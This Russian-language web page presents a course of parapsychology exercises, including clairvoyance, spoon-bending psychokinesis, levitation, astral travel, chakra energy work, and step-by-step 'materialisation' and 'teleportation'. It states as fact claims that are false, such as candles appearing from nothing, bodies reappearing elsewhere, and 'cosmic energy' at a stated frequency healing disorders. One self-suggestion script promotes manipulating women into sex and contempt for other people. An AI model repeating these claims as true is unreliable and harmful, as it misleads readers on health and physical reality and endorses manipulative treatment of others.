Буду признателен, если поделитесь информацией
в социальных сетях
Я доступен по
любым средствам связи , включая видео
|
![]() |
![]() |
Видеоматериалы автора сайта
Аудиокниги | Музыка | онлайн- видео | Партнерская программа |
Фильмы | Программы | Ресурсы сайта | Контактные данные |
Если в течении 10 сек. не открылось окно загрузки , нажмите ссылку
Парапсихология_Базовый комплекс упражнений |
Аудиокниги | Музыка | онлайн- видео | Партнерская программа |
Фильмы | Программы | Ресурсы сайта | Контактные данные |
PSI 1 часть БАЗОВЫЙ КОМПЛЕКС УПРАЖНЕНИЙ Н А О С Н О В Е К Н И Г И ПАРАПСИХОЛОГИЯ МЮНХЕНСКОГО ИНСТИТУТА ПАРАПСИХОЛОГИИ И ПОГРАНИЧНЫХ НАУК
|
критич. коэфф. |
вероятность успеха против случайности |
Уровень способностей |
2 2,5 |
1 / 20 1 / 83 |
нет |
2,6 2,7 2,8 2,9 3 3,5 |
1 / 107 1 / 145 1 / 196 1 / 270 1 / 370 1 / 2100 |
слабые |
4 5 6 7 8 |
1 / 16000 1 / 10700000 1 / 500000000 1 / 400000000000 1 / 800000000000000 |
сильные |
Упражняться надо ~ 1 – 2 раза в неделю.
Это – ясновидение в состоянии бодрости, поскольку в полубессознательном состоянии или в состоянии гипнотического сна ты можешь потерять контроль над увиденным.
· Можно сжечь благовония: фимиам, сандал, лаванда.
· Сядь или ложись. Мысленно изолируй себя от внешнего мира, сознанием отбрасывай любые помехи.
· Приведи себя в состояние «духовной готовности» – внушай себе:
«Я сейчас особенно готов и внимателен ко всем импульсам, которые текут ко мне из прошлого, настоящего или будущего».
· Ни о чем не думай, сознание должно быть совершенно пустым.
· Постепенно соскальзывай в такое состояние, когда твой разум все более и более умолкает, становясь в то же время все более бодрым.
· Перед твоим внутренним зрением появятся приближающиеся облачные изображения. Они будут становиться все яснее и яснее. Ты «увидишь» события, которые были спрятаны от тебя.
· Сохраняй полное равнодушие и пассивность по отношению к увиденным образам и событиям.
Упражняйся по ~ 30 мин, 1 раз в неделю.
· Погрузись в пси-сознание.
· Мысленно произнеси (или прослушай, заранее сделанную, звукозапись на магнитофоне):
«Моя усталость глубока и крепка, мое тело тяжело, как свинец. Я дышу спокойно и равномерно и чувствую себя очень хорошо. Я чувствую, как от меня отпадают все проблемы. Я чувствую себя очень хорошо. Я хочу, и буду решать свои проблемы. Ничто уже не может изменить мое намерение. У меня уже нет потребности и в алкоголе. Всякий интерес к выпивке пропал, и к алкоголю я совершенно равнодушен... совершенно равнодушен… совершенно равнодушен.
Я чувствую сильное отвращение к любой форме выпивки спиртного. Это отвращение все сильнее… всё сильнее… всё сильнее. Уже мысль об алкоголе мне неприятна. При этом я сразу ощущаю сильное отвращение к алкоголю. Всегда, когда я вижу спиртное, это отвращение всё более усиливается.
С этого момента я больше не буду потреблять алкоголь. Я ничему не позволю отвратить меня от этого намерения, потому что я очень рад, наконец, что-то сделать для моего здоровья. С каждым днем я чувствую себя всё лучше, и я никогда больше не буду употреблять алкоголь. Я не хочу и не буду больше пить.
Моё отвращение к алкоголю становится всё сильнее. Уже вид наполненного бокала вызывает у меня неприятное чувство, а при ощущении запаха спиртного мне становится дурно. Мне неприятна сама мысль об алкоголе, она сразу вызывает чувство сильного отвращения.
Если я когда-нибудь ещё выпью хоть один глоток алкоголя – мне сразу станет так плохо, что даже стошнит. Это глубоко и прочно проникло в моё подсознание, и я буду действовать в строгом соответствии с этим. Если я ещё раз выпью глоток алкоголя, то мне станет так плохо, что даже стошнит. Поэтому я даже не буду предпринимать подобных попыток и никогда не стану потреблять алкоголь. Я не хочу и не буду больше никогда употреблять алкоголь.
Каждый раз, когда я вижу алкоголь, моё неприятие и отвращение к нему усиливаются ещё более. Я рад, что больше не употребляю алкоголь. Я и без алкоголя так рад и счастлив, что просто не нуждаюсь в нём. Поэтому ничего не может помешать моему намерению. Я не хочу и не буду больше никогда употреблять алкоголь. Я никогда больше не буду употреблять алкоголь!
Поэтому с каждым днём мне становится всё лучше, я рад и счастлив, что, наконец, совершил это. Наконец-то я опять совершенно свободен, совершенно свободен!
Сейчас я сосчитаю до трёх. Тогда мои руки и ноги опять станут лёгкими, свободными и подвижными. Затем я открою глаза и почувствую себя совершенно свежим и здоровым. 1 – 2 – 3: глаза открыты. Мои руки и ноги опять легки и двигаются свободно. Я полон сил и энергии и чувствую себя очень хорошо… я чувствую себя совершенно свежим и здоровым!»
Проводи это упражнение каждый день, можно по 2 раза.
Ступень 1:
· Погрузись во 2-ю ступень сознания.
· Перестань думать.
· Выбери какую-нибудь точку в комнате. Смотри на неё, не отводя взгляд в сторону.
· Сосредоточься на ней.
· Говори шепотом, тихо и монотонно: «Пункт… пункт… пункт…»
· Сознание должно наполниться этим местом.
Ступень 2:
· Всё то же самое, только не шепчи мантру в слух, а произноси мысленно.
Ступень 3:
· Опять, как и ступень 1, только вообще без мантры. И не смотри на выбранную точку в комнате, а просто воображай её, в тёмной комнате (или с закрытыми глазами).
Ступень 4:
· Сосредоточься на воображаемой точке комнаты – ступень 3.
· Когда сознание заполнится этим местом, перестань его воображать. Сохраняй состояние высочайшей сосредоточенности как можно дольше.
1-ю неделю выполняй ступень 1, следующую ~ 1 неделю – ступень 2, каждую ступень по ~ 1 неделе, каждый день. 1-ю и 2-ю ступень по ~ 25 мин, 3-ю и 4-ю по ~ 15 мин.
Это пробудит твою силу воображения и даст уверенность. Психокинез – передвижение или сгибание предметов при помощи силы воображения.
· Возьми стеклянное блюдце. Налей в него воды, не до краёв. Положи (лучше пинцетом) большую швейную иглу на эту воду, так чтобы она плавала. Игла не должна дотрагиваться до краёв блюдца. Если иголка тонет, добавь в воду несколько капель масла, и положи иглу на масляный слой.
Ступень 1:
· Садись за стол, поставь перед собой блюдце с иглой. Расстояние от глаз до иглы должно быть ~ 30 см.
· Мысленно изолируй себя от внешнего мира, сознанием отбрасывай любые помехи.
· Приведи себя в состояние «духовной готовности» – можно внушать себе:
«Я сейчас особенно готов при помощи силы воображения передвигать предметы. Я чувствую свою силу воображения».
· Ни о чем не думай, сознание должно быть совершенно пустым.
· Сосредоточься на собственной силе воображения. Оставайся в таком состоянии несколько минут.
· Смотри на иглу, не отводя взгляд в сторону.
· Вообрази, что игла вращается.
· Игла должна вращаться.
· Потом, в другие дни, можно пробовать вращать иглу в разных направлениях, или останавливать. Смотреть на иглу ближе или дальше.
Ступень 2:
· Положи вместо иглы спичку.
· Настройся на упражнение как в ступени 1.
· Держи руки справа и слева от блюдца на расстоянии ~ 3 см. Делай руками круговые движения.
· Воображай, что спичка вращается от движений рук.
Каждую ступень выполняй по ~ 5 мин, каждый день, можно 2 раза.
Космическая энергия - это особенный невидимый свет.
· Можно осветить комнату зелёной лампой. Можно сжечь благовоние: камфара.
· Садись за стол, поставь перед собой блюдце с холодной водой.
· Погрузись во 2-ю ступень сознания.
· Представь себе как можно ярче и сильнее, как из середины груди - сердечной чакры - исходит энергия, которая образовалась из впитанной свободной космической энергии. И она постепенно наполняет все твое тело, кроме головы.
· Через некоторое время все сильнее станут ощущаться потоки энергии. Почувствуешь в теле сильную, ритмичную пульсацию энергии.
· Вообрази, что эта энергия постепенно скапливается в кистях рук.
· Кисти рук должны очень сильно потеплеть.
· Подержи руку над блюдцем с водой. Сильно растопырь пальцы.
· Ярко и сильно воображай, что накопленная энергия переходит в воду.
· Но ты при этом не будешь терять энергию, а она будет снова восстанавливаться.
· Будет ощущение, как энергия опять собирается в кистях рук, и опять уходит в воду.
· Через ~ 5 минут встань, широко расставь ноги, горизонтально вытяни руки. И внушай себе, что в тебя возвращается космической энергии в 2 раза больше, чем ты потратил.
Упражняйся каждый день.
Это чистая концентрация, когда в сознание не поступает никакой информации.
· Погрузись во 2-ю ступень сознания.
· Закрой глаза. Вообрази как можно ярче любой предмет, на тёмном фоне.
· Сохраняй зрительный образ несколько минут. Он не должен ни исчезать, ни затуманиваться. Запоминай все его детали.
· Позволь образу постепенно поблекнуть.
· Восстанови образ в обратных цветах:
Начальный цвет |
Обратный цвет |
Жёлтый Жёлто-оранжевый Оранжевый Красно-оранжевый Красный Пурпурно-красный Пурпурно-фиолетовый Фиолетовый |
Синевато-фиолетовый Ультрамариновый Васильково-синий Зеленовато-голубой Сине-зелёный Зелёный Желтовато-зелёный Заленовато-жёлтый |
· Обратный образ должен быть виден также ярко и отчетливо, как и начальный, несколько минут.
Упражняйся по 15 – 20 мин, каждый день.
Это пробудит твою силу воображения и даст уверенность.
· Сложи ладони вместе. Проложи между ними лист твёрдой бумаги (стекла, картона или деревянной доски толщиной ~ 5 мм).
· Мысленно изолируй себя от внешнего мира, сознанием отбрасывай любые помехи.
· Делай глубокие вдохи и выдохи. Воображай, как расслабляешься с каждым последующим выдохом. Воображай, что полностью заряжаешься энергией.
· Приведи себя в состояние «духовной готовности» – можно внушать себе:
«Я сейчас особенно готов при помощи силы воображения нагревать предметы. Я чувствую свою силу воображения».
· Сосредоточься на собственную силу воображения. Оставайся в таком состоянии несколько минут.
· Проведи своё дыхание в левую руку. Дыши глубоко.
· Воображай, что рука сильно теплеет. Ты должен быть полностью уверен, что она действительно теплеет, без сомнений.
· Когда левая рука действительно потеплеет, вообрази, что это тепло переходит в правую руку. Согрей таким образом обе руки.
· Вообрази, что это тепло переходит в лист бумаги.
· Отдохни немного.
· Воображай, как нагревается лист бумаги, как движутся его молекулы, как тепло излучается назад.
· Надо отчётливо осознавать, что тепло переводится из рук в лист бумаги.
Упражняйся – сколько хочешь.
Сгибание предметов силой воображения.
Ступень 1:
· Положи перед собой вилку на стеклянную подставку.
· Мысленно изолируй себя от внешнего мира, сознанием отбрасывай любые помехи.
· Делай глубокие вдохи и выдохи. Воображай, как расслабляешься с каждым последующим выдохом. Воображай, что полностью заряжаешься энергией.
· Приведи себя в состояние «духовной готовности» – можно внушать себе:
«Я сейчас особенно готов при помощи силы воображения сгибать предметы. Я чувствую свою силу воображения».
· Сосредоточься на собственную силу воображения. Оставайся в таком состоянии несколько минут.
· Дотронься указательным пальцем правой руки до вилки.
· Проведи своё дыхание в руку. Дыши глубоко.
· Воображай, что правая рука сильно теплеет. Ты должен быть полностью уверен, что она действительно теплеет, без сомнений.
· Вообрази, что тепло твоего пальца изменяет молекулярную структуру вилки, что вилка сгибается. Ты должен быть полностью уверен, что вилка действительно сгибается. Если будет сомнение, вилка не согнётся.
Ступень 2:
· Положи перед собой ложку на стеклянную подставку.
· Мысленно изолируй себя от внешнего мира, сознанием отбрасывай любые помехи.
· Делай глубокие вдохи и выдохи. Воображай, как расслабляешься с каждым последующим выдохом. Воображай, что полностью заряжаешься энергией.
· Приведи себя в состояние «духовной готовности» – можно внушать себе:
«Я сейчас особенно готов при помощи силы воображения сгибать предметы. Я чувствую свою силу воображения».
· Сосредоточься на собственную силу воображения. Оставайся в таком состоянии несколько минут.
· Сосредоточь все свои мысли на ложке. Запомни, как она выглядит, во всех деталях.
· Закрой глаза. Вообрази эту ложку как можно точнее.
· Проведи своё дыхание в правую руку. Дыши глубоко.
· Воображай, что рука сильно теплеет. Ты должен быть полностью уверен, что она действительно теплеет, без сомнений.
· Вообрази, что ложка меняет свою молекулярную структуру. Как металл становится тягучим и мягким, как пластилин.
· Дотронься и несильно нажми указательным пальцем правой руки на ложку.
· Вообрази, что тепло твоего пальца изменяет молекулярную структуру ложки, что ложка сгибается. Ты должен быть полностью уверен, что ложка действительно сгибается. Если будет сомнение, ложка не согнётся.
· Если поднимется давление, и появится ощущение мерцающего тупого нажатия в указательном пальце – прерви упражнение.
Упражняйся по ~ 30 мин, 1 раз в неделю.
Это – впитывание космической энергии во время дыхания, вместе с воздухом. Космическая энергия - это особенный невидимый свет - электромагнитное излучение. Лобная чакра ~ «нервный центр» - расположена между бровями.
· Упражнение надо выполнять при открытом окне. Ложись на спину.
· Расслабься и вообрази, что во время вдоха и выдоха в тебя проникает, через лобную чакру, космическая энергия.
· Сделай глубокий выдох.
· ~ 4 секунды делай глубокий вдох: сначала как можно больше выпячиваешь нижнюю часть живота, затем нижнюю часть рёбер, затем можно больше верхние рёбра и ключицу.
· ~ 16 секунд задержи дыхание. При этом представляй, что космическая энергия входит в тебя.
· ~ 8 секунд – глубокий выдох: сначала втягиваешь нижнюю часть живота, затем нижнюю часть рёбер, затем как можно больше верхние рёбра.
· ~ 16 секунд задержи дыхание.
· Повторяй цикл дыхания: 4 сек. вдох – 16 сек. задержка – 8 сек. выдох – 16 сек. задержка.
Упражняйся сначала по 5 мин, каждый день. Потом всё время увеличивай продолжительность упражнения. И увеличивай продолжительность цикла дыхания: потом 5 – 20 – 10 – 20, до 16 – 64 – 32 – 64.
При помощи этого упражнения можно достигнуть Нирваны.
· Можно сжечь благовония: плющ + тополь, или ладан + сандал, или камфара + арника + рябина.
· Погрузись во 2-ю ступень сознания.
· Первые несколько дней можно зрительно воображать, во время упражнения, как сливаешься с космосом. Потом, только вызывать ощущения слияния с космосом.
· Тихо, но как можно сильнее говори шёпотом мантру: «Единение с космосом... Единение с космосом...» (мантра - это слова на которых сосредотачиваются).
· Повторяй мантру ритмично и монотонно, наслаждаться, произнося ее.
· Играй с мантрой - экспериментируй с её звучанием.
· Можно мягко покачиваться в ритме мантры.
· Шепчи мантру все тише и тише.
· Не управляй мантрой, позволь мантре «кружиться» в сознании. Позволь мантре меняться, как она этого хочет - становиться громче или тише, исчезать и опять появляться, растягиваться или становиться быстрее. Прислушивайся к мантре. Медитация - это как дрейф на реке в лодке без весел: нам не нужны весла - у нас нет цели!
· Мантра должна заполнить всё сознание. И ты перестанешь воспринимать окружающий мир и своё тело.
Упражняйся по ~ 25 мин, каждый день. Полезно упражняться и в другие месяцы. Можно использовать мантры: «Любовь ко всему, что существует», «Помогай всем существам».
· Нужна черная или темно-синяя свеча. Поставь её перед собой, на высоте глаз, на расстоянии ~2 метров от тебя. Зажги её. И сделай полную темноту в этой комнате.
· Смотри на пламя, полностью погрузись в него.
· Взгляд, от пламени, не отводи и не мигай. Глаза должны быть совершенно спокойными и неподвижными.
· Через некоторое время почувствуешь, что в тебе что-то «происходит»:
· препятствия и внутренние блокады растворяются;
· воздвигнутые тобой или внешними влияниями барьеры исчезают;
· ты становишься внутренне свободнее и раскованнее;
· ощущаешь с благодарностью постоянное течение твоей духовной энергии.
· Оставайся в таком состоянии, пока совсем не удалишься от своего «я», пока не перестанешь осознавать себя.
· Тогда ты заметишь, что твои восприятия получили совсем другое качество. Осознаешь с почти «сверхчувственной» ясностью, что твои «духовные устремления» не имеют границ.
· Оставайся в таком состоянии, пока не начнешь ощущать свое тело и окружающий мир.
· В конце медитации:
· закрой глаза,
· несколько раз глубоко вздохни,
· позволь струе воздуха пройти по всему твоему организму,
· снова открой глаза.
Упражняйся по ~ 15 мин, ~ 1 раз в неделю.
Левитация – это летать по воздуху при помощи силы воображения.
· Включи магнитофон, поставь кассету с очень спокойной музыкой – типа «Enigma» или специальную «музыку для медитации». Не громко. Неяркое освещение.
· Сядь за стол. Положи перед собой на стол правую руку.
· Мысленно изолируй себя от внешнего мира, сознанием отбрасывай любые помехи.
· Делай глубокие вдохи и выдохи. Воображай, как расслабляешься с каждым последующим выдохом. Воображай, что полностью заряжаешься энергией.
· Приведи себя в состояние «духовной готовности» – можно внушать себе:
«Я сейчас особенно готов при помощи силы воображения поднять свою руку. Я чувствую свою силу воображения».
· Сосредоточься на собственную силу воображения. Оставайся в таком состоянии несколько минут.
· Вообрази тепло, которое проходит по твоей руке.
· Воображай, что рука становится совсем тяжёлой и тёплой.
· Сосредоточься на том, как ты чувствуешь руку:
· Мысленно «путешествуй» по всей руке, до плеча;
· Сосредоточься на ощущении кожи, мышц, сухожилий, крови, почувствуй, как кровь течёт по сосудам.
· Воображай, что рука становится всё легче и легче. Пока ты не перестанешь её чувствовать.
· Вообрази, как задвигаешь под руку «воздушную подушку». И рука на этой подушке медленно парит вверх.
· Следи за своими ощущениями. Если будешь плохо себя чувствовать, прерви упражнение.
Упражняйся, пока хорошо себя чувствуешь, ~ 1 раз в неделю. Через несколько дней можно упражняться с пальцами руки, с ногой, ступнёй, пальцами ноги.
Это даст тебе силу и опыт, необходимые для астральных перемещений.
· Включи магнитофон, поставь кассету с очень спокойной музыкой – типа «Enigma» или специальную «музыку для медитации». Не громко. Можно сжечь благовония.
· Ложись. Расслабься и успокойся.
· Мысленно изолируй себя от внешнего мира, сознанием отбрасывай любые помехи.
· Равномерно и спокойно делай глубокие вдохи и выдохи. Воображай, как расслабляешься с каждым последующим выдохом. Воображай, что полностью заряжаешься энергией.
· Приведи себя в состояние «духовной готовности» – можно внушать себе:
«Я сейчас особенно готов при помощи силы воображения отделиться от своего тела. Я чувствую свою силу воображения».
· Сосредоточься на собственную силу воображения. Оставайся в таком состоянии несколько минут.
· Вообрази, что в солнечном сплетении находится маленький, золотой, сияющий шар.
· Воображай по очереди каждую часть своего тела, и как этот шар движется по ним. Воображай, что шар заряжает энергией каждую часть тела.
· Тебе должно быть приятно и ты должен почувствовать пульсацию энергии в теле.
· Вообрази своё лежащее тело полностью.
· Выйди из своего тела. Смотри на своё тело со стороны.
Упражняйся пока приятно, можно 2 раза каждый день.
Это согласование колебаний твоего сознания с колебаниями космоса и всей жизни на Земле.
· Недалеко от кровати поставь часы, так чтобы было слышно их тиканье.
· Погрузись во 2-ю ступень сознания.
· Полностью сосредоточься на тиканье часов.
· Вообрази, что движешься вместе с тиканьем, от часов.
· Вообрази, что «проскользнул в часы» и сам стал «тиканьем».
· Вокруг себя, в своём организме и во всём космосе ты воспринимаешь только тиканье.
· Думай, что ритм часов и ты – едины.
· Думай, что космос и Земля – это ритм, такт, гармония.
· Должно пропасть ощущение времени. Пройдёт полчаса, а покажется, что прошло несколько секунд.
Упражняйся по ~ 30 мин, 1 раз в 2 дня, или, наверно, можно каждый день.
Левое полушарие мозга занимается логическим мышлением, а правое занимается зрительным мышлением и чувствами. Жители Европы думают больше левым полушарием. Это упражнение развивает правое полушарие мозга.
Часть 1:
· Садись. Погрузись в пси-сознание.
· Сосредоточься на левом полушарии мозга. Представь там рождение ребёнка.
· Сосредоточься на правом полушарии. Представь там, как умирает старый человек.
· Дальше воображай также по очереди:
В левом полушарии мозга |
В правом полушарии |
Средневековый крёстный ход группы монахов |
Вихрь на побережье |
Солнце |
Луну |
Атом |
Галактику |
Цветущие деревья |
Покрытую снегом вершину |
Восход Солнца |
Заход |
Жаркий летний день |
Осенний день |
Красный цвет |
Желтый |
Театральную сцену |
Густой туман |
Медленно текущую реку |
Песчаную пустыню |
Ощущение при прикосновении к нежному шёлку |
Прикосновение к куску гофрированной стали |
Ощущение наждачной бумаги |
Ощущение гладкого, прохладного стекла |
Ощущение, что пальцы скользят по кусочку льда |
Рука находится в тёплой воде |
Звук удара большого мяча |
Шум автомобильного мотора |
Звук работающего кузнеца |
Звук колокола |
Звук – мяукает кошка |
Звук – лает собака |
Вкус лимона |
Вкус плитки шоколада |
· Сделай несколько глубоких вздохов. Медленно встань. Немного походи по комнате, внушая, что становишься бодрее, сознание активнее. И сразу выполняй часть 2.
Часть 2:
· Посмотри левым глазом наверх, как будто осматриваешь левое полушарие мозга.
· Посмотри правым глазом наверх, как будто осматриваешь правое полушарие мозга.
· Старайся вертикально вращать глаза. Как будто они вращаются точно посередине головы.
· Обведи глазами 2 круга, в левой части своей головы.
· Обведи глазами 2 круга, в правой.
· Обведи глазами много кругов, входящих друг в друга. Круги наклонены под разными углами. Круги заполняют всю голову.
· Отдохни немного, ничего не делай.
· Обведи глазами круг: он расположен горизонтально, на высоте глаз. Следующий круг немного меньше. Так обводи много кругов, пока они не превратятся в точку.
· Останови глаза на этой точке. И держи их там как можно дольше. Но не напрягайся и не задерживай дыхание.
· Когда глаза сдвинутся с этой точки, заново обводи ими много кругов, которые сойдутся в точку.
· Сделай несколько глубоких вздохов. Медленно встань. Немного походи по комнате, внушая, что становишься бодрее, сознание активнее. И сразу выполняй часть 3.
Часть 3:
· Вообрази правое полушарие своего мозга.
· Сосредоточься:
· На правом полушарии,
· На нём – как сверхчувствительном органе,
· На извилинах и неровностях на поверхности,
· На нерве, который соединяет 2 полушария,
· На миллионах клеток мозга.
· Постарайся почувствовать 2 полушария мозга.
· Сосредоточься на своём черепе.
· Думай о том, что в мозге происходят электрические и химические процессы.
Упражняйся по ~ 45 мин, ~ 1 раз в неделю.
Это управление сновидением. Во время сна ты понимаешь, что видишь сон.
· Открой окно. В комнате должно быть не очень тепло.
· Включи магнитофон, поставь кассету с очень спокойной музыкой – типа «Enigma» или специальную «музыку для медитации». Не громко.
· Садись на стул. Расслабься и успокойся.
· Мысленно изолируй себя от внешнего мира, сознанием отбрасывай любые помехи.
· Равномерно и спокойно делай глубокие вдохи и выдохи. Воображай, как расслабляешься с каждым последующим выдохом. Воображай, что полностью заряжаешься энергией.
· Сосредотачивай своё внимание, по очереди, на каждой части своего тела. И расслабляй эти части.
· Приведи себя в состояние «духовной готовности» – можно внушать себе:
«Я сейчас особенно готов при помощи силы воображения управлять своими сновидениями».
· Выключи магнитофон. Ложись. Сделай глубокий вдох – выдох.
· Мысленно скажи себе:
«Сегодня, во время сна, я буду в ясном сознании, и буду управлять своими сновидениями».
· Сознательно наблюдай за своим засыпанием.
· Когда почти заснул, вообрази место, где будет твоё сновидение.
· Когда ты заснул, это место будет видеться.
Упражняйся перед сном + во время сна, 1 – 2 раза в месяц.
Это – когда ты отделяешься от своего тела. И передвигаешься по окружающему миру. Ты можешь проходить сквозь стены и мгновенно оказываться в любом месте.
· Включи магнитофон, поставь кассету с очень спокойной музыкой – типа «Enigma» или специальную «музыку для медитации». Не громко.
· Ложись. Расслабься и успокойся.
· Мысленно изолируй себя от внешнего мира, сознанием отбрасывай любые помехи.
· Равномерно и спокойно делай глубокие вдохи и выдохи. Воображай, как расслабляешься с каждым последующим выдохом. Воображай, что полностью заряжаешься энергией.
· Сосредотачивай своё внимание, по очереди, на каждой части своего тела. И расслабляй эти части.
· Приведи себя в состояние «духовной готовности» – можно внушать себе:
«Я сейчас особенно готов при помощи силы воображения отделиться от своего тела и передвигаться по окружающему миру».
· Сделай глубокий вдох – выдох.
· Воображай место, куда ты хочешь переместиться. Одновременно мысленно скажи себе (несколько раз):
«Тяжесть… тепло… дыхание… Моё дыхание спокойно и ритмично… спокойно и ритмично… спокойно и ритмично… Моё сознание остаётся чистым и ясным… чистым и ясным… совершенно чистым и ясным…
Я выбрал место, которое посетит моё астральное тело… Моё сознание остаётся ясным и чистым… ясным и чистым…»
· Вообрази:
· твоё тело тяжелеет и теплеет,
· теплеет в солнечном сплетении,
· лоб холодный.
· Дыши ритмично. Ни о чём не думай, сознание голова должна быть пустая.
· Мысленно скажи:
«Я управляю своим телом… Я вижу его лежащим внизу… Оно спит… медленно я парю у потолка комнаты… Я приближаюсь к нему… Теперь я снова опускаюсь чуть ниже…
Я занимаю вертикальное положение… Достигаю пола… Встаю на пол… Созерцаю своё лежащее тело…
Если я захочу, я покину это помещение и отправлюсь в любое место, куда только пожелаю».
· Ты ощутишь, как ты отделяешься от физического тела. Ты видишь и слышишь всё, что происходит вокруг. Ты паришь. Между тобой и твоим телом серебристый провод. Ты можешь проходить сквозь стены, летать. Потом ты возвращаешься обратно в тело.
· Сделай глубокий вдох – выдох. Потягивай ногами и руками.
· Сосчитай до трёх. На счёт три – открой глаза.
· Полежи ещё несколько минут.
Космическая энергия - это особенный невидимый свет - электромагнитное излучение частотой 1023 герц, длина волны 10-14 метра. Он по особому сильно влияет на все существа и передаёт в себе много информации. Существует 3 вида источников этого света: 1. Много этого света возникло при образовании Вселенной ~ 20 миллиардов лет назад - это свободная космическая энергия. 2. Он излучается неживыми предметами. 3. Он излучается всеми живыми существами, важно – поток света от живых существ колеблется, и эти колебания у каждого существа свои – разные, и несут информацию о существе, это похоже на радиостанцию. Этот свет пронизывает весь мир.
· Можно сжечь благовоние – камфару. Можно осветить комнату зелёной лампой.
· Погрузись во 2-ю ступень сознания
· Вообрази себе как можно ярче и сильнее, как из середины груди - сердечной чакры - исходит энергия, которая образовалась из впитанной свободной космической энергии. И она постепенно наполняет всё твоё тело, кроме головы.
· Через некоторое время все сильнее станут ощущаться потоки энергии. Почувствуешь в теле сильную, ритмичную пульсацию энергии (в это время устраняются все психические и физические нарушения и материальное и энергетическое тела гармонизируются).
· Вообрази, как можно ярче и сильнее, что окружающие люди, растения и животные, Земля, планеты солнечной системы и весь космос излучают собственную космическую энергию. И эта энергия вливается в тебя.
· Воображай, что энергия проникает сквозь всю поверхность тела и соединяется с впитанной перед этим свободной космической энергией.
· Все силы в тебе и вокруг тебя соединяются и смешиваются друг с другом. Ты сливаешься с космосом, наступает полная гармония.
Упражняйся по ~ 30 мин, каждый день.
Человек ведёт себя по психическим программам, которые выработались у него в течение жизни. Стрессы, конфликты с родителями в детстве, физические травмы и т.д. приводят к ошибкам в этих программах. Это упражнение перепрограммирует, устраняя ошибки.
· Погрузись в пси-сознание.
· Мысленно произнеси (или прослушай, заранее сделанную, звукозапись на магнитофоне):
«Я совершенно спокоен и расслаблен, полон мира и гармонии. В этом глубоком покое открываются ворота в моё подсознание. И всё о чём я думаю, проникает в моё подсознание легко и глубоко, и врезается туда неизгладимо.
Всегда, везде и в любой ситуации, я останусь совершенно спокойным. Если в нескольких метрах от меня взорвётся бомба, я даже глазом не моргну. Всегда, везде и в любой ситуации я чувствую себя полным мира и гармонии. Я всегда нахожусь в полной гармонии с окружающим меня миром, гармония просто переполнят меня. Я люблю моих друзей, коллег, родственников, всех животных, растения... всегда, везде и в любой ситуации я люблю все что существует. Я храбрый. Всегда, везде и в любой ситуации, я очень смелый. ...И я не боюсь никого и ничего! Я всегда полон жизненных сил. Всегда, везде и в любой ситуации жизненная энергия просто хлещет из меня.
Я с твёрдой уверенностью смотрю в будущее, я знаю, что меня ждёт счастливое будущее, все мои желания исполнятся. Я всегда буду чувствать и вести себя совершенно раскрепощено и беспредельно отвязанно. Я с уверенностью берусь за любое дело, потому что знаю, что у меня всё получится. Для меня нет ничего невозможного, я всё могу! Я весёлый, удалой хлопец. Всегда чувствую радость и удаль, и мне хочется танцевать. Я всегда буду веселиться и шутить. Я всегда во всегда во всём первый. Мне всегда всё легко удаётся.
Я всегда буду побеждать. Я твёрдый, волевой человек. Перед тем, как что-либо делать, я тщательно взвешиваю все плюсы и минусы. Затем принимаю чёткое, конкретное и однозначное решение, которое я потом выполняю, отдавая все силы на это, ни на что не отвлекаясь, и никуда не сворачивая.
Девушек (мужчин) я не люблю, не навязываю им себя, а чисто занимаюсь с ними сексом. Я могу с лёгкостью подойти к любой девушке, и буду при этом чувствовать себя очень раскрепощенно и отвязанно. И могу с запросто заговорить её так, что она легко займётся со мной сексом. Всегда, везде и в любой ситуации я веду себя величественно. Я всегда чувствую себя королём-победителем, героем. Я ПОБЕДИТЕЛЬ, я король, я герой. По сравнению со мной все люди очень мелкие и незначительные, и все меня любят, боятся и уважают одновременно. Всегда, везде и в любой ситуации я буду разговаривать медлено и спокойно, как будто пою. Также я буду двигаться расслабленно и раскрепощённо, как будто танцую.
Я никогда не пью алкогольные напитки и не курю. Алкогольные напитки очень противные, меня от них тошнит. И курить противно. С каждым днём моё здоровье крепнет, все системы организма работают нормально. Все мои органы работают идеально. И каждый день я молодею. И я росту, - с каждым днём я становлюсь выше ростом, шире в плечах, и мышцы всё больше.
Все эти внушения будут действовать всю жизнь».
Проводи это упражнение каждый день, по 1 разу.
Это – при помощи силы воображения ты сможешь создавать предметы из пустого места.
· Сделай, чтобы в комнате было темно.
· Погрузись в пси-сознание (с закрытыми глазами).
· Вообрази горящую свечу, как можно ярче и сильнее.
· Одновременно, вызови сильное желание, чтобы, когда ты откроешь глаза свеча действительно бы стояла перед тобой.
· Открой глаза. И перед тобой будет стоять настоящая свеча.
Упражняйся по ~ 45 мин, ~ 1 раз в каждые 2 дня.
Это – когда ты исчезаешь в одном месте и сразу появляешься в другом (из пустого пространства).
· Сделай, чтобы в комнате было темно.
· Погрузись в пси-сознание.
· Вообрази, как можно ярче и сильнее, любое место (недалеко). Воображай все ощущения этого места: + запахи + тепло или холод + звуки + вкусы на губах.
· Вызови сильное желание мгновенно оказаться в этом месте.
· Мысленно скажи:
«Моё физическое тело сейчас здесь растворится в «ничто» и станет чистой энергией. Эта энергия молниеносно распространится к выбранному мной месту. Там моё тело «возродится» совершенно реальным и способным к действиям».
· И ты появишься в этом месте.
Упражняйся по ~ 45 мин, ~ 1 раз в каждые 2 дня.
У человека 2 тела: физическое и энергетическое тело. Энергетическое тело обычно невидимо, пронизывает физическое тело. Состоит оно из сжатой космической энергии. «Нервные центры» этого тела – чакры. 7 чакр:
- Базисная чакра – находится там, где кончается позвоночник, – для хранения энергии;
- Крестцовая чакра – на ~ 3 см ниже пупка, – для передачи энергии физическому телу;
- Пупковая чакра – находится там, где пупок, – контролирует подсознание;
- Сердечная чакра – находится по середине груди, – для расширения сознания;
- Горловая чакра – на горле, где бугорок, - для отделения энергетического тела;
- Лобная чакра – между бровями, - для излучения информации в виде энергии;
- Теменная чакра – на вершине головы, - для приёма информации в виде энергии.
«Нервные сигналы» передаются в энергетическом теле через нади и меридианы.
· Можно сжечь благовоние: камфару. Можно осветить комнату зелёной лампой.
· Погрузись во 2-ю ступень сознания.
· Воображай, что базисная чакра впитывает и накапливает космическую энергию. Воображай так ~ 10 минут. Чем больше энергии ты накопил, тем больше нагревается там, где кончается позвоночник.
· Воображай, что эта энергия переходит через нади, и накапливается в крестцовой чакре. Воображай так ~ 5 мин. Крестцовая чакра будет нагреваться, а базисная охлаждаться.
· Таким же способом переходит в пупковую чакру à сердечную à горловую à назад в крестцовую (прямым путём).
· Вообрази, что энергия из крестцовой чакры переходит в физическое тело, в форме жизненной энергии.
